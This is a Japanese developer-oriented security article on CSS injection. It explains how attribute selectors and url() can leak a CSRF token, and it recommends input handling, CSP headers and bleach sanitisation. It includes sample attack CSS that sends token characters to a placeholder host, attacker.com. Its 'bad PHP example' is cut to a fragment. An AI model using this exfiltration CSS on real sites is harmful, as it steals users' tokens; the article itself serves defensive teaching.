【実務・中級編】CSSインジェクションによる属性値抽出とXSSへの発展 – アプリケーションセキュリティ & 安全な開発防御ガイド

CSSは「ただの装飾」ではない:CSSインジェクションが突きつけるセキュリティの深淵

エンジニア諸君、日々お疲れ様。ログ解析やパッチ当てに追われる中で、「XSS対策はCSPを入れれば大丈夫」と油断していないか?

確かにCSP(Content Security Policy)は強力だ。だが、ブラウザ上で動くCSSが、実は「JSを使わずとも機密情報を盗み出せる」攻撃ベクトルになり得るという事実を知っている人間は意外と少ない。今日は、盲点になりがちなCSSインジェクションに焦点を当て、その恐ろしさと、現場で即座に適用すべき防御策について叩き込んでいく。

—

1. CSSインジェクションの本質:攻撃者は何を狙うのか

CSSインジェクションとは、攻撃者がWebサイトのスタイル定義や、ユーザーが投稿可能なスタイル属性(style="...")に悪意あるCSSを注入する手法だ。

「CSSで何ができる?」と思うかもしれないが、CSSセレクタの属性一致(Attribute selectors)とurl()関数を組み合わせることで、ページのHTML内に存在する特定の値(例えばCSRFトークンや個人情報)を、外部の攻撃者サーバーに送信させることが可能になる。

攻撃の仕組み:属性値の「盗み読み」

例えば、以下のような攻撃コードが注入されたとする。

/ 攻撃者のサーバーへ情報を送信するCSS /
input[name=”csrf_token”][value^=”a”] {
background-image: url(‘https://attacker.com/log?char=a’);
}
input[name=”csrf_token”][value^=”b”] {
background-image: url(‘https://attacker.com/log?char=b’);
}

このCSSが読み込まれると、ブラウザはcsrf_tokenの頭文字が「a」から始まる場合にのみ、そのサーバーに対してリクエストを送る。これを全文字分繰り返せば、ブルートフォース的にトークンを抽出できてしまう。JSが禁止されている環境でも、CSSさえ注入できれば「漏洩」は成立するのだ。

—

2. 実践的な防御策:理論ではなく「実装」で黙らせる

CSSインジェクションを防ぐための鉄則はシンプルだが、徹底が難しい。以下の3ステップを今日から導入せよ。

① ユーザー入力をstyle属性に直接反映させない

もっとも多い脆弱性は、ユーザーが選んだ色やフォントサイズを、サーバー側でサニタイズせずに直接style属性に埋め込むパターンだ。

ダメな例(PHP):

;”>…

② Content Security Policy (CSP) による厳格な制限

CSPは最強の盾だ。インラインCSSを一切許可しない設定を強制する。

Nginx/Webサーバーでのレスポンスヘッダー設定:

インラインスタイルを禁止し、信頼されたソースからの読み込みのみ許可
add_header Content-Security-Policy “default-src ‘self’; style-src ‘self’ https://trusted-cdn.com;”;

※もしどうしてもインラインスタイルが必要な場合は、style-src 'unsafe-inline' を使うのではなく、nonce(ランダムな一意の文字列)を利用せよ。

③ サニタイズライブラリの導入

もしMarkdownエディタなどでHTMLを許可する必要があるなら、手書きの正規表現など使うな。プロがメンテナンスしているライブラリを信頼せよ。Pythonであればbleachが推奨だ。

Python (bleach) での安全なHTMLサニタイズ:

import bleach

許可するタグと属性を厳格に指定
allowed_tags = [‘b’, ‘i’, ‘em’, ‘strong’, ‘p’]
allowed_attrs = {”: [‘class’]} # style属性は除外するのが基本

def secure_render(user_input):
# style属性を完全に除去してクリーンにする
return bleach.clean(user_input, tags=allowed_tags, attributes=allowed_attrs)

—

3. チーフからの最後の助言

「うちは管理画面だから大丈夫」「JSは無効化しているから安心」という甘い考えこそが、過去のインシデントを生んできた。

1. CSSも「外部入力」と同等に扱う: ユーザーが編集できる範囲にstyle属性を含めない。これが最大の防御だ。
2. CSPを「防御の標準」にする: 開発の初期段階からCSPを適用し、違反レポートを収集する体制を作れ。
3. 攻撃者の視点でコードを眺める: 「このCSSをいじって、サーバーにリクエストを送らせるにはどうすればいいか?」と自問自答せよ。

セキュリティは、魔法のようなツールを入れることではない。地味な入出力の制御を、泥臭く、1ミリの妥協もなく積み上げることだ。君たちが書くコードが、次のインシデントを防ぐ最後の砦になる。期待しているぞ。

コメント

タイトルとURLをコピーしました